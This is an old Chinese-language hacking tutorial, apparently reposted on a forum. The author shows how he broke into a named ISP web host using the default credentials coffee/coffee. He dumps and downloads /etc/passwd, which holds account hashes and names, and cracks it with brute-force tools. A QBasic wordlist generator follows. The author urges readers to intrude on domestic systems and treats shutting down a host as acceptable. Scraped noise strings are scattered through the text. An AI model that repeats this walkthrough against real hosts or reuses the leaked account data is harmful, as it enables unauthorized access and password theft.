如何破解系統(tǒng)（3）

這不是一個(gè)教學(xué)文件, 只是告訴你該如何破解系統(tǒng),好讓你能夠?qū)⒆约旱南到y(tǒng)作安全的保護(hù), 如果你能夠?qū)⑦@份文件完全看完, 你就能夠知道電腦駭客們是如何入侵你的電腦, 我是 CoolFire, 寫這篇文章的目的是要讓大家明白電腦安全的重要性, 并不是教人 Crack Password若有人因此文件導(dǎo)致惡意入侵別人的電腦或網(wǎng)路, 本人概不負(fù)責(zé) !!
$ k+ V$ a5 ^" _: {2 U. ]
8 n2 R) l1 Q2 f前幾次說到了 Net Coffee 店, 還好他們沒有提供客戶撥接上線的功能,不然密碼或是帳號(hào)被人盜用的客戶不就糗大了! 但是 CoolFire 在這兩周的探險(xiǎn)中, 為了找一個(gè)酷似網(wǎng)路咖啡站臺(tái)的
W3 密碼,誤入一個(gè)號(hào)稱第一個(gè)提供網(wǎng)路撥接的 ISP, 且在 CoolFire 順利的抓回 /etc/passwd
2 E. W  E+ I* o, ~  k) G; G之後, 使用了自己寫的 PaSs2DiC + CJack 來解出密碼, 沒想到不用 1 分鐘, 就找出了 9 組 ID 與Password 相同的密碼,勿怪我沒有在這里提醒大家, 還好我沒有找到 root password, 不然可能該系統(tǒng)就此停擺,不可再見天日也! (當(dāng)然我不可能這麼作啦!).
; E0 u1 r" R* n) c9 [
看看最近興起的網(wǎng)路咖啡及各大網(wǎng)站的系統(tǒng)安全設(shè)施, 再加上 CoolFire最近開會(huì)的時(shí)候遇到的情況, 不難發(fā)現(xiàn)我們的國家正往高科技的領(lǐng)域快步邁進(jìn), 但是這些系統(tǒng)的安全性若不加強(qiáng),可能到時(shí)候人家只要一臺(tái)電腦再加上一臺(tái)數(shù)據(jù)機(jī)就可以讓整個(gè)國家的金融及工商業(yè)崩潰!
& W! \1 r3 e. K6 @& o, M" W大家要小心呀 !
7 {5 Q' B/ f0 y: Q" z- v1 ]. E$ VISP 是一般 User 撥接的源頭, 技術(shù)上理應(yīng)比較強(qiáng), 但還是輕易讓人入侵, 且又沒有教導(dǎo)User 正確的網(wǎng)路使用觀念 (Password 的設(shè)定及 proxy 的使用等),實(shí)在不敢想像這樣的網(wǎng)路發(fā)展到幾年後會(huì)是甚麼樣子 ??

4 C8 H* q8 L1 n+ q; N/ i這一次的說明還是沒有談到新的技巧, 在 James將首頁更新後各位應(yīng)該已經(jīng)可以從中學(xué)到許多東西了, 如果想要學(xué)習(xí)入侵, 就一定要知道最新的資訊 (入侵本國的網(wǎng)路則不用,反正沒人重視網(wǎng)路安全..... 真失望), 在別人還沒將 Bug 修正之前就搶先一步拿到 /etc/passwd,所以訂閱一些網(wǎng)路安全的 Mail List 是必要的, 多看一些網(wǎng)安有關(guān)的 News Group 也是必要的 (不僅 Hacker如此, ISP 更要多注意這些資訊!). 日後有空再整里一些 Mail List 給大家 !!

本次主題: 說明如何連接該 ISP 并且對其 /etc/passwd 解碼連接位址: www.coffee.com.tw (203.66.169.11)特別說明: 由於本次主題說明重點(diǎn)使用真實(shí)的位址及名稱, 所以 CoolFire 已經(jīng) Mail給該網(wǎng)頁之維護(hù)人員更改密碼, 但該網(wǎng)頁之 ISP 仍為新手之練習(xí)好題材! CoolFire
Mail 給該網(wǎng)頁維護(hù)人員之信件內(nèi)容如下, 如果他還不盡快改掉, 我也沒辦法了!
  n7 y- w* T" E7 E& U
Mail sent to dhacme@tp.globalnet.com.tw:
Subject: 請速更動(dòng)網(wǎng)頁密碼
From: CoolFire <coolfires@hotmail.com>

% A& z% J! j! j你的網(wǎng)頁作得不錯(cuò), 但是因?yàn)槟闼O(shè)定的密碼太容易為駭客所? 入侵, 請於見到此信後速速更改你的網(wǎng)頁進(jìn)入密碼, 否則下次若網(wǎng)頁遭到篡改, 本人概不負(fù)責(zé)!!

: Z" N0 y1 K$ P7 F7 E8 Q8 u**** 課程開始 ****

請注意: 由於本次所作的課程內(nèi)容以實(shí)作為主, 除了本人 IP 有所更改,一切都使用本人所用之
Telnet 軟體 Log 檔收錄, 故若道德感不佳者請勿閱讀以下之詳細(xì)破解內(nèi)容,否則本人概不負(fù)責(zé)!
# B5 T* p- ^% k: z
(連線到某一主機(jī)之後.... 此處的 ms.hinet.net.tw 是假的 Domain name)
ms.hinet.net.tw> telnet www.coffee.com.tw
Trying 203.66.169.11...
Connected to www.coffee.com.tw.
4 A' ~6 C5 d( @. ]/ IEscape character is '^]'.
Password: (隨便按一下 Enter)
Login incorrect

1 u& A/ ]8 n5 N8 u7 m! `2 r  nwww login: coffee (以 Hacker 的敏銳判斷 username=coffee password=coffee)
Password:
; ]2 v& g5 A3 @# F" R8 X& KLast login: Thu Jan 9 10:41:52 from ms.hinet.net.tw
& T+ |( w! }( T; t+ L
歡 迎 光 臨 ....... 以下略! 因涉及該 ISP 的名譽(yù), 大家自己去看吧!
=================================================================

(直接進(jìn)入核心部份)
! d, g8 M3 r/ e* I6 I" z/ P' ywww:~$ cd /etc
www:/etc$ ls
* I, P- O; g- K, NDIR_COLORS hosts.equiv printcap
HOSTNAME hosts.lpd profile
0 D3 c% V/ \1 GNETWORKING inet@ protocols
/ {6 [  b5 A# G* s& bNNTP_INEWS_DOMAIN inetd.conf psdevtab
3 q. L6 c/ x5 yX11@ inittab rc.d/
at.deny inittab.gettyps.sample resolv.conf
9 i* P7 f9 u7 D$ u" {, V; hbootptab ioctl.save rpc
csh.cshrc issue securetty
csh.login issue.net securetty.old
default/ klogd.pid sendmail.cf
6 R- J& K+ f5 m; odiphosts ld.so.cache sendmail.st
% [0 [0 Z1 u, r/ G4 b! @( ]1 W' G3 N$ Hexports ld.so.conf services
* F5 s" A" b/ ?fastboot lilo/ shells
fdprm lilo.conf shutdownpid
fs/ localtime skel/
fstab magic slip.hosts
ftp.banner mail.rc slip.login
ftp.deny motd snooptab
* i  t+ i9 Y% A1 Wftpaccess motd.bak sudoers
ftpconversions msgs/ syslog.conf
$ J2 x' C5 I* Y) Q# Y" rftpgroups mtab syslog.pid
8 r$ B1 [/ W% G2 l7 F- \) _$ Zftpusers mtools termcap
gateways named.boot ttys
) H5 j/ |. ]2 |# W8 ~* x3 ^  M. }gettydefs networks utmp@
5 i) ~* S3 z$ I" h6 Fgroup nntpserver vga/
" H2 O$ q; I9 u  G- mhost.conf passwd wtmp@
hosts passwd.OLD yp.conf.example
& x; a. ^; r& }8 o. T7 ^3 Uhosts.allow passwd.old
& z: K, I& Z1 m- u4 V# g, hhosts.deny ppp/
9 J. F& t  u. x- _; j2 v  H2 k
(看看我們的目標(biāo)長得如何???)
5 }: {9 P8 m4 nwww:/etc$ cat passwd
8 b7 V0 i! p' j& B; |% L# proot:abcdefghijklmn:0:0:root:/root:/bin/bash
  f, T  S' I# M0 T: W- obin:*:1:1:bin:/bin:
8 S8 ~/ i$ y' n, a3 s3 j! hdaemon:*:2:2:daemon:/sbin:
adm:*:3:4:adm:/var/adm:
lp:*:4:7:lp:/var/spool/lpd:
( c4 f5 N3 P3 e: J$ osync:*:5:0:sync:/sbin:/bin/sync
shutdown:*:6:0:shutdown:/sbin:/sbin/shutdown
halt:*:7:0:halt:/sbin:/sbin/halt
mail:*:8:12:mail:/var/spool/mail:
news:*:9:13:news:/usr/lib/news:
' r5 t. K7 F6 H- nuucp:*:10:14:uucp:/var/spool/uucppublic:
operator:*:11:0:operator:/root:/bin/bash
games:*:12:100:games:/usr/games:
man:*:13:15:man:/usr/man:
( n. ?$ q. f$ l, lpostmaster:*:14:12:postmaster:/var/spool/mail:/bin/bash
. o! }# w: \8 Snobody:*:-1:100:nobody:/dev/null:
ftp:*:404:1::/home/ftp:/bin/bash
$ I* [7 f. T. O8 @0 {% t8 Eguest:*:405:100:guest:/dev/null:/dev/null
' t7 d- t. m3 x4 d: q! w. pshan:Ca3LGA8gqDV4A:501:20:Shan Huang:/home/staff/shan:/bin/bash
www:/U5N5/l0B.jWo:502:20:WWW Manager:/home/staff/www:/bin/bash
/ v2 x/ I7 _- c/ ltest:aFoIbr40sdbiSw:503:100:test:/home/test:/bin/bash
' p6 ]- R" b4 b( Y- `+ sfax:aHhi5ZoJwWOGtc:504:100:FAX_SERVICE:/home/staff/fax:/bin/bash
9 U" _- G4 L8 |women:IiO94G5YrrFfU:505:100:Perfect Women:/home/w3/women:/bin/bash
$ p; Y  p* {/ D6 e# Rkanglin:aMjy/8maF4ZPHA:506:100:Kanglin:/home/w3/kanglin:/bin/bash
coffee:AlwDa18Au9IPg:507:100:Coffee:/home/w3/coffee:/bin/bash
7 r; {5 ^7 [' c$ W' l3 |3 J8 tbakery:aFm7GUGCuyfP2w:508:100:Bakery:/home/w3/bakery:/bin/bash
; k& \! F* s& M2 }/ d  wcarven:aPaqr3QAdw8zbk:509:100:Carven:/home/w3/carven:/bin/bash
haurey:/2m87VjXC742s:510:100:Haurey:/home/w3/haurey:/bin/bash
* P) N' q( k) x7 nprime:nPOlsQhQFJ.aM:511:100:Prime:/home/w3/prime:/bin/bash
/ p, W5 I, w8 E3 ~4 gtham:H2AOlPozwIIuo:512:100:xxxxxxxxxx:/home/w3/tham:/bin/bash
ccc:aFiKAE2saiJCMo:513:100:ccc:/home/w3/ccc:/bin/bash
- W$ V. a7 X7 S0 b# z+ ksk:UPrcTmnVSkd3w:514:100:sk:/home/sk:/bin/bash
0 i# b; r$ G; Nservices:9yBqHWfnnNr.k:515:100:xxxx:/home/w3/haurey/services:/bin/bash
: d! S# d$ q( q8 v3 w) qorder:LpnMHVjy9M/YU:516:100:xxxx:/home/w3/haurey/order:/bin/bash
corey:mhRsFO60hFsMU:517:100:xxxx:/home/w3/haurey/corey:/bin/bash
9 ?/ j, `: i5 m9 u3 trichard:EmUWnU6Bj7hQI:519:100:richard:/home/w3/richard:/bin/bash
lilian:Opx5xwctJTO1A:520:100:lilian:/home/w3/lilian:/bin/bash
support:JdOqvTZqdZ9wQ:521:100:support:/home/w3/support:/bin/bash
hotline:BiSzCJsDhVl7c:522:100:hotline:/home/w3/hotline:/bin/bash
0 w6 z- A* _0 O' P8 wstonny:/UNPsb9La4nwI:523:20::/home/staff/stonny:/bin/csh
  j* B( G6 Q" {1 Jbear:w/eF/cZ32oMho:524:100:bear:/home/w3/bear:/bin/bash
lance:Pf7USG6iwgBEI:525:20:Chien-chia Lan:/home/staff/lance:/bin/tcsh
taiwankk:ijPWXFmRF79RY:526:100:hotline:/home/w3/taiwankk:/bin/bash
service:ulfWaOzIHC.M.:527:100:prime service:/home/w3/service:/bin/bash
liheng:6hGixt6Kgezmo:528:100:prime liheng:/home/w3/liheng:/bin/bash
, v. N6 v: o. hcaves:RyvviMcWTTRnc:529:100:gallery:/home/w3/caves:/bin/bash
sales:CmtV4FZsBIPvQ:518:100:prime:/home/w3/prime/sales:/bin/bash
( |) e1 f; t1 d7 O6 U- r2 kkingtel:8E7f0PIQWfCmQ:530:100:kingtel:/home/w3/kingtel:/bin/bash
recycle1:JgbZHVRE4Jf3U:531:100:recycle1:/home/w3/recycle1:/bin/bash
recycle2:Qg85xgdnsqJYM:532:100:recycle2:/home/w3/recycle2:/bin/bash
7 h! q! p4 _+ w0 K. u1 C6 |% F* Lrecycle3:XhyoUBFQspiS2:533:100:recycle3:/home/w3/recycle3:/bin/bash
recycle:109mNZYIZtNEM:534:100:recycle:/home/w3/recycle:/bin/bash
( `! F) m/ X$ Bhxnet:KhB./jHw.XNUI:536:100:hxnet:/home/w3/hxnet:/bin/bash
+ ]- L1 A2 g5 d5 x+ ~goodbook:MlD0tx.urQMYc:535:100:goodbook:/home/w3/goodbook:/bin/bash
sales1:JmKzPOBMIIYUI:537:100:sales1:/home/w3/prime/sales1:/bin/bash
rwu:Pai8mYCRQwvcs:539:100:rwu:/home/w3/kingtel/rwu:/bin/bash
' X* Q: v" ?! x- H; ^charliex:Of6HaxdxkDBDw:540:100:charliex:/home/w3/kingtel/charliex:/bin/bash
jdlee:Mhq3gZNup9E3Q:538:100:jdlee:/home/w3/kingtel/jdlee:/bin/bash
) F) x9 s$ u* k$ y! ?tkchen:GkTU8ecYIXEyw:541:100:tkchen:/home/w3/kingtel/tkchen:/bin/bash
slb:Olf22.gHBZ.QQ:542:100:slb:/home/w3/kingtel/slb:/bin/bash
* t# B7 d( L# s' f6 Ts6t4:GnHFCPdZX7nkU:543:100:s6t4:/home/w3/kingtel/s6t4:/bin/bash
( \2 e) m7 ^! P( elsh:GftygyOntHY6Y:545:100:lsh:/home/w3/kingtel/lsh:/bin/bash
lilly:DhKHmlKPE6tRk:544:100:lilly:/home/w3/kingtel/lilly:/bin/bash
6 X: n2 I/ V4 Knalcom:MhHdQ1mvge9WQ:546:100:nalcom:/home/w3/prime/nalcom:/bin/bash
jordon:mPgNPVEkIEORM:547:100:jordon:/home/w3/jordon:/bin/bash
6 _& s( B/ z+ z. a) \6 Vtoonfish:wTscIuas4EeTE:548:100:toonfish:/home/w3/toonfish:/bin/bash
yahoo:If.UlNFTal.bk:549:100:yahoo:/home/w3/yahoo:/bin/bash
basic:IgLUu9J03lbyU:550:100:basic:/home/w3/basic:/bin/bash
% c. S9 |; C: g0 }% ]+ m5 {1 swunan:QUHEiPefAaKsU:551:100:xxxxxxxx:/home/w3/wunan:/bin/bash
kaoune:eVwM44uTLOpnY:552:100:kaoune:/home/w3/wunan/kaoune:/bin/bash
8 @5 l% Y- W  r4 B2 B" L" m9 Zshuchuan:KgPlk7TT6pmBk:553:100:shuchuan:/home/w3/wunan/shuchuan:/bin/bash
fan:Jk6E9PqP7xemg:554:100:fan:/home/w3/toonfish/fan:/bin/bash

5 S" T2 b: d8 D& o2 m1 g, F(CoolFire 注: 因?yàn)槭褂?PaSs2DiC 很容易找出 ID 與 Password 相同的. 故除了 Coffee外, 其它我找到密碼的 EnCode Password 部份皆改過..... 除非你一個(gè)一個(gè)試?yán)瞺~~ 我沒說喔!)

www:/etc$ exit
# _8 Q0 C' r  R/ u* y* Zlogout
Connection closed by foreign host.
$ F4 T3 s0 o. U2 {6 d5 {4 h
(可以走了 !! 改用 FTP 將 /etc/passwd 給抓回來吧!)

ms.hinet.net.tw> ftp www.coffee.com.tw
Connected to www.coffee.com.tw.
9 p  S: O' Z7 C5 i3 Z220-
220- 歡 迎 光 臨 ....... 以下略! 因涉及該 ISP 的名譽(yù), 大家自己去看吧!
220-
220-
/ ~1 S' i! _% l& d220- There are 0 users in FTP Server now.
220- 目前已有 0 使用者在此 Server 上.
4 a6 C6 j+ [: E3 e! y) `$ P9 k220- If you have any suggestion, please mail to:
220- service@xx.xxxxxxx.xxx.xx.
& }6 B2 R) N8 \1 x6 W- N220-
220-
220-
7 S" V$ ?, ?$ _/ G. m( \220 www FTP server (Version wu-2.4(1) Tue Aug 8 15:50:43 CDT 1995) ready.
$ B- V: t, K+ p+ d3 l
: D7 B5 E; C& t# j8 {% a  B(還是使用剛剛的帳號(hào)進(jìn)入)

( f2 }5 ?+ E( [! a5 H) AName (www.coffee.com.tw:YourName): coffee
, W% p. n( H4 T- C& }331 Password required for coffee.
4 O# ?+ s1 i6 a$ `* T) cPassword:
" _: i3 q0 \( O; ]+ e230 User coffee logged in.
* U$ q$ [) X% JRemote system type is UNIX.
Using binary mode to transfer files.
# k8 ~: ]! z; Q  \$ s
9 i$ |4 G( n. K: V7 k(直接到達(dá)檔案放置地點(diǎn))
8 C# [9 R& {7 ^8 [2 I$ \8 l* [  ~
$ ]  Y, [( r* I7 B9 nftp> cd /etc
3 G* l) u  B4 [8 {  K6 |$ H250 CWD command successful.
0 @0 k1 w: b9 w0 t+ ^ftp> ls
200 PORT command successful.
  R. a5 G% l2 H$ @150 Opening ASCII mode data connection for file list.
. c2 ^. T0 c+ }. H2 Ottys
fdprm
group
issue
motd
4 y0 q, L" Y4 j3 P" U) k7 amtools
profile
securetty
$ d- [7 T1 o$ a4 w4 J& O# N) _shells
termcap
skel
csh.cshrc
/ |- d- b- Y) _% G, o0 |csh.login
lilo
inet
& k3 ]4 D$ p" i4 vdefault
  S9 d3 L' J* c4 Oservices
HOSTNAME
DIR_COLORS
. ~! w0 i: Z/ Opasswd
4 a' i: m$ H; b3 e  f6 J4 \; G8 |passwd.OLD
% ?# e. A3 R( ^+ s: L  E) u$ Lwtmp
, x- _9 @3 q  ~4 j) u: U8 futmp
$ R' v' D% o( \  v  K9 lgettydefs
inittab.gettyps.sample
ld.so.conf
ld.so.cache
$ I3 U) ^; h, ]/ D& rat.deny
  R7 v& Y$ T3 u5 d* I# R2 _: gfs
magic
rc.d
syslog.conf
printcap
inittab
1 Y0 D, I# F$ y. j+ Msudoers
* j8 f4 C# T0 c$ u: D# [; h6 ]vga
. J, ^: x4 `% i( W  u' A  odiphosts
mail.rc
ppp
NNTP_INEWS_DOMAIN
sendmail.st
NETWORKING
gateways
bootptab
exports
2 s, d( y+ v8 C6 c, O2 `ftpusers
" U5 u$ B, q6 m) Z' Ehost.conf
' L+ T* K, B7 N$ Q# I8 yhosts
hosts.allow
hosts.deny
) w4 a$ q  _6 Lhosts.equiv
inetd.conf
% F7 i  ~7 G, Unamed.boot
networks
/ f) ]: J. V/ Q- C: D) tnntpserver
protocols
resolv.conf
, j8 m: @" J, B- G& Q( \$ E  srpc
ftpaccess
hosts.lpd
ftpconversions
3 m% U# @) m$ [8 t) a8 c7 C2 ksnooptab
msgs
) T8 I  P4 e) M9 Iftpgroups
slip.login
# ^& y0 W9 j2 B( y* O9 Bslip.hosts
yp.conf.example
X11
. [! d, @( @2 W3 mlilo.conf
sendmail.cf
fstab
fastboot
mtab
syslog.pid
" z- m" f1 L* |3 C( G# pklogd.pid
5 O1 ^, @$ V/ N9 u% Q3 C' ]shutdownpid
localtime
& q8 \* Z& K7 }passwd.old
ioctl.save
; y) P# ^: E0 I% d: {! c1 Vpsdevtab
ftp.banner
, l* U7 X: O2 L' q0 Iftp.deny
$ d* ~3 K; O8 X- T; i, A/ g! Missue.net
motd.bak
securetty.old
226 Transfer complete.
# a: y( B0 G4 c2 B
2 K9 @5 G+ }) @(取回該檔案)
' w+ A- C% P4 K% g  m6 W# ^
0 G5 _$ s) @0 D- O% Kftp> get passwd
# e! x% S% C- T' R: V200 PORT command successful.
150 Opening BINARY mode data connection for passwd (4081 bytes).
226 Transfer complete.
4081 bytes received in 2.5 seconds (1.6 Kbytes/s)

(盡速離開)
; c& F* \& [5 D( I( H: {
. S4 x$ ~3 k* O5 O' t( kftp> bye
221 Goodbye.

好了! 有了 /etc/passwd 之後一切都好辦了, 趕緊將你的寶貝收藏 PaSs2DiC 拿出來吧
!!快點(diǎn)跑一下, 讓它自動(dòng)產(chǎn)生字典檔案:
0 k/ M6 z" ]8 K; y; Z
C:\hack>pass2dic
PaSs2DiC V0.2 (C)1996 By FETAG Software Development Co. R.O.C. TAIWAN.
6 K# `" Y! M7 C0 y
) }0 i& [' A: dThis tool will:

[1] Load PASSWD file and convert it to only username text file
3 G8 z% _; H+ q: \9 D[2] Write the file to a dictionary file you choise for target
* g" ]3 ?  c9 C
Your Source PASSWD File Name: passwd
9 l7 Z0 u# @2 eYour Target Dictionary Name: dic.cfe

* Y3 U. z% F1 G( ^1 ]/ X2 T) f& _" d' jPaSs2DiC Author: James Lin E-Mail: fetag@stsvr.showtower.com.tw
FETAG Software Development Co: http://www.showtower.com.tw/~fetag

% |: H0 R% a& m; H* |, |5 k7 K4 _* s" ]C:\hack>
' s* X8 Q) [  ]+ ~
; j2 \6 F0 _# N# Y. J(這樣就好了 ! 自動(dòng)產(chǎn)生的檔案會(huì)放在 dic.cfe 這個(gè)檔案中, 咱們跑一下 Brute Force看看!)
/ M( h* a* u4 u" k; S
  Z2 \4 u, w* I9 k. s5 F  d( o
C:\hack>fbrute passwd @dic.cfe
2 t* W: S6 [3 t- |  a6 q" W- U! G
BRUTE!, Unix Brute Force Hacking Routine. v2.0
! l6 q; S* g! `) y& F2 v- z7 }Copyright (C) 1990, Prometheus. DOS-fastcrypt made available by sir hackalot.
1 h$ p# d& U8 E9 i6 }7 [$ D闡闡闡闡闡闡闡闡闡闡闡闡闡闡闡闡闡闡闡闡闡闡闡闡闡闡闡闡闡闡闡闡闡闡闡闡闡闡闡

　　　　　　　　　　　　　　　　　　　　　　　　　　　　　　　　　　　　　　　
Attempts/Hits: 5184/9
　　　　　　　　　　　　　　　　　　　　　　　　　　　　　　　　　　　　　　　

Taking list input from dic.cfe
Beginning search of passwd for password: xxx

# e4 `! ~) v7 U" Y8 p! R# i: y7 gMatch for password xxxxxx found! Username: xxxxxx
Match for password xxxxx found! Username: xxxxx
  y8 I5 Z- h+ D5 a% d4 q8 mMatch for password xxx found! Username: xxx
0 {5 E  N/ c. DMatch for password xxxxxx found! Username: xxxxxx
" c6 J. H  @; h; M3 s  Z8 [" @8 VMatch for password xxxxxx found! Username: xxxxxx
Match for password coffee found! Username: coffee
, M9 r) T7 e2 \! S$ _4 y( J- kMatch for password xxxxxxx found! Username: xxxxxxx
' }! L) \. @) hMatch for password xxx found! Username: xxx
# L+ L. P5 D6 V/ O+ WMatch for password xxxx found! Username: xxxx
- a9 L* `5 h5 \* x; ~
Done.

C:\hack>
. J$ B, ]3 U9 ^% Q. S" [# n
看! 除了 coffee 外還是有許多人使用與 ID 相同的字作為密碼, 實(shí)在是....@#$%^...&*因某些關(guān)系所以其它部份要被 "馬賽克" 起來, 請各位讀者見量!
3 q) F2 D) G- j
**** 再談密碼 ****
$ |0 u) l+ O8 k) V
看了以上的破解示范, 就可以了解到許多人還是對於 "密碼" 這東西不是很有 "密碼"的觀念, 人就是那麼的懶, 隨便設(shè)定一個(gè)好記的, 但是這種密碼確是最不安全的, 上次我們談到如何用
, z# ~! ?- C- o5 `QBasic 來設(shè)計(jì)一個(gè)自動(dòng)產(chǎn)生密碼的小程式, 相信對許多人有很大的幫助,底下我們再來淺顯的介紹一下字母密碼的產(chǎn)生方法, 相信對於你在 Hack 某站會(huì)有更大的幫助.
8 [0 Z4 |  }( y
1 W- I0 N4 C7 S3 V+ ^事情的開始是有一位網(wǎng)友 mail 給我, 問我字典檔要如何寫程式來 "自動(dòng)擴(kuò)大",而讓我有了寫這一段的想法, 現(xiàn)在我就針對這位網(wǎng)友的問題作一個(gè)更詳細(xì)的說明 (因已簡短回信答覆),并且寫出來讓大家了解一下, 當(dāng)然我們的示范還是使用 QBasic, 因?yàn)檫@是最容易找到的程式了,而且語法大家也可能會(huì)比較熟悉一點(diǎn), 如果我使用 VB 或 C 來寫, 可能有些人只會(huì)拿去用,而不會(huì)去修改或者寫個(gè)好一點(diǎn)的出來!
1 @1 a! L4 c& q4 o7 i2 H  h
先說明一下原理好了: 我們所要作的程式是一個(gè)自動(dòng)產(chǎn)生字典檔的程式,所以我們要了解字的字母排列到底有哪些方法可循?? 我們先舉幾個(gè)簡單的單字出來比較看看:
$ B) P# e! D3 _& F& [
[1] apple [2] guest [3] james [4] superman [5] password
" q; ^( Y# p7 E7 ^7 w
3 p( n  N8 D' b/ E/ kOK! 來看看! 如果你有一點(diǎn)英文的概念的話應(yīng)該會(huì)知道母音及子音吧 !
: p" Z9 D) F# O我們首先這樣說明: 母音在英文
& q" ], a8 c) g8 i& ?0 h! X上有 : A E I O U 這五個(gè), 所有的英文單字都會(huì)有這些母音(有些沒有的可能是專有名詞或縮寫), 也有可能是雙母音的字, 如: au, ai, ea, ei, ia, ie, ou, oe, ui, ua... 等,
再來就是比較每個(gè)字的開頭, 有可能是母音,也有可能是子音, 但是子音之後通常接的是母音字母, 但是也有例外, 如: student是兩個(gè)子音再接一個(gè)母音字母, 所以接下來依照常用字將這些子音找出來, 我想了一下大概有: br, bl, cl, dg,dr, fl, gr, kn, ph, st, sp, wh .... 等幾種(其它請自行統(tǒng)計(jì)), 然後是結(jié)尾部份, 通常結(jié)尾部分有下列幾種: e;est; ord; ard; ls; es; s...等好多好多, 我們稍為思考一下就知道要如何寫出這樣的程式出來了 !!
我大略寫一個(gè)簡單的, 其它大家自行發(fā)揮, 如果有人學(xué)語言學(xué)的, 請幫忙弄一份常用組合表出來, 可能會(huì)更有幫助吧 !!
) q$ A; j3 {( d2 X. e5 m. F9 g
& o$ O/ |0 j1 X4 c7 J$ {& A' M底下就是該程式片段, 執(zhí)行後會(huì)產(chǎn)生 MyDic.Txt 檔, 大小為: 22,096 Bytes 共有 3120個(gè)字的字典!!
; E# F2 s/ e# J$ Q) i! Y& O; z0 u
9 A3 Q& }# |4 h! S) }8 Y--------------- MakeDic.BAS Start Here
1 l* y: ]: ?3 h; S5 O-------------------------------------------------------------------------------
9 [6 u; |) y( @4 W5 R4 e0 \--------
DIM FirstWord$(20)
DIM MotherWord$(13)
DIM LastWord$(12)

DATA "br", "bl", "cl", "dg", "dr", "fl", "gr", "kn", "ph", "st", "sp", "s",
"t", "p", "k" , "f", "m", "n", "b","k"
+ ]* m5 T: i# F  [* X. n. e/ L, D  uDATA "a", "e", "i", "o", "u", "ai", "ei", "ea", "io", "ou", "oi", "au", "eo"
1 V4 D+ l; P; CDATA "st", "ord", "ard", "e", "es", "le", "ng", "st", "ing", "n", "b", "s"
6 k; E& X( ^0 p2 X
, x7 N- ^+ I2 T4 M5 A1 j1 ~FOR I = 1 TO 20
READ FirstWord$(I)
PRINT FirstWord$(I)
4 _/ h  Y7 J+ _. [NEXT I

  }* p5 J7 P  C- g- o1 Z- i; iFOR I = 1 TO 13
READ MotherWord$(I)
NEXT I
. G( o" d- h$ [+ `7 d
FOR I = 1 TO 12
READ LastWord$(I)
" {, O6 W7 `/ x. G0 RNEXT I

5 p. B+ [+ a* d! `+ U# S# ZOPEN "MyDic.txt" FOR OUTPUT AS #1
) W" V4 i# `& s+ X# ?2 C# ]
FOR I = 1 TO 20
* j0 _5 [5 U8 W* x2 NFOR J = 1 TO 13
  q& ~6 J1 N% Z3 G7 h$ _FOR K = 1 TO 12
- t  f  B& t/ \% l& VPRINT #1, FirstWord$(I) + MotherWord$(J) + LastWord$(K)
NEXT K
NEXT J
( {/ e1 E. h! p) j0 u' |; UNEXT I
- j4 w: _+ A' ]' N0 @! m# {0 p
CLOSE : END
--------------- Cut Here, End of MakeDic.BAS
1 l) J' E: s" b4 v1 B# C# Z-------------------------------------------------------------------------------
; n" _! o- A# H/ s% M7 v-
7 I. g- `3 T: y. @1 \
& |% `4 f+ ?$ {6 F當(dāng)然這只是小部份的組合, 相信你可以作出一個(gè)更大的字典檔出來, 如:
子音+母音+子音+母音+子音, 作出來的字典檔會(huì)很嚇人喔 !! 這一個(gè)部份就講到這里了 ! 如果你有很棒的字典產(chǎn)生程式,寫好了請 Mail 一份給我喔 !! 如果可以的話請說明是否可以公布在我的 W3 上讓其它人下載 !!還是你只是要給我 ?!
) s" {5 l- B7 s- P& I9 E7 B+ L+ x
. j1 C) j7 C" {& ~3 y( A8 F希望每次講到密碼的問題後, 大家可以將這些密碼的產(chǎn)生方法與自己的密碼對照看看,如果有相同的請趕緊將自己的密碼換掉, 我講得口沫橫飛, 都沒有人要聽嗎 ??? 咖啡業(yè)者...... ISP
們.... 教教你們的使用者吧..... 唉~~~~


**** 後語 ****

我們的首頁感謝大家的支持, 現(xiàn)在人數(shù)已經(jīng)到達(dá) 2,000 了, 這是一個(gè)地下站(未對外正式公布) 很棒的一個(gè)數(shù)字, 在與其它工作室人員研究之後, 暫時(shí)不對外公布站址, 如果你是 "誤闖"到本站來的! 我們歡迎你的加入, 但目前尚不考慮對外公布站址, 請您在告訴你的朋友有這麼一個(gè)站存在的時(shí)候,請他不要隨便告訴別人 (請只告訴你信賴的朋友; 或?qū)﹄娔X有一份特別狂熱的人, 我們都?xì)g迎他們的加入),我們目前所采用的方式將是開放式的! 對首頁部份暫時(shí)不以密碼方式處理.

** 不要 Crack 這個(gè)首頁的 ISP!!!! 否則 FETAG Sofeware's Hacking Page將會(huì)完全關(guān)閉, 再也不尋找其它的地方來放置, 希望給你的是使用電腦的 "知識(shí)", 不要利用它來奪取任何的 "權(quán)利",本首頁著重的是教育, 而不是一　的教導(dǎo)攻擊的方法, 希望大家對於政府機(jī)關(guān) (org.tw) 或教育機(jī)構(gòu) (edu.tw)不要作任何的破壞!!還有我的 ISP......:D

------
" z2 h. O, j. v9 ~7 U! x哇! 一份案子搞了好久, 都沒時(shí)間維護(hù)網(wǎng)頁了, 所以特別將維護(hù)的工作還給了 James,希望大家多多支持我們的園地, 我案子搞完後再跟大家談?wù)勎易罱膶?shí)戰(zhàn)故事! 雖然沒時(shí)間寫網(wǎng)頁,但是還是會(huì)寫一些文件給大家作為參考 !!
6 ?$ ^' j- W* b
4 x) ?) S7 `( ^7 |8 c$ q1 z------
9 A/ Q, V# p9 a( a- V& \再次重申, Crack 別人站臺(tái)之後不要破壞別人站臺(tái)中的資料, 此篇文章僅作為教育目的,不主張你隨便入侵他人主機(jī).... (高-Net 還是除外)... 請勿將這類技術(shù)使用於破壞上 (又...如果第三次世界大戰(zhàn)開打, 你可以任意破壞敵國的電腦網(wǎng)路... 我全力支持),最嚴(yán)重的情況(如果你真的很討厭該主機(jī)的話)... 就將它 Shut Down.... 好了! 別太暴力了!
7 E1 \* X& w5 i3 o, M( V' g* m5 |3 D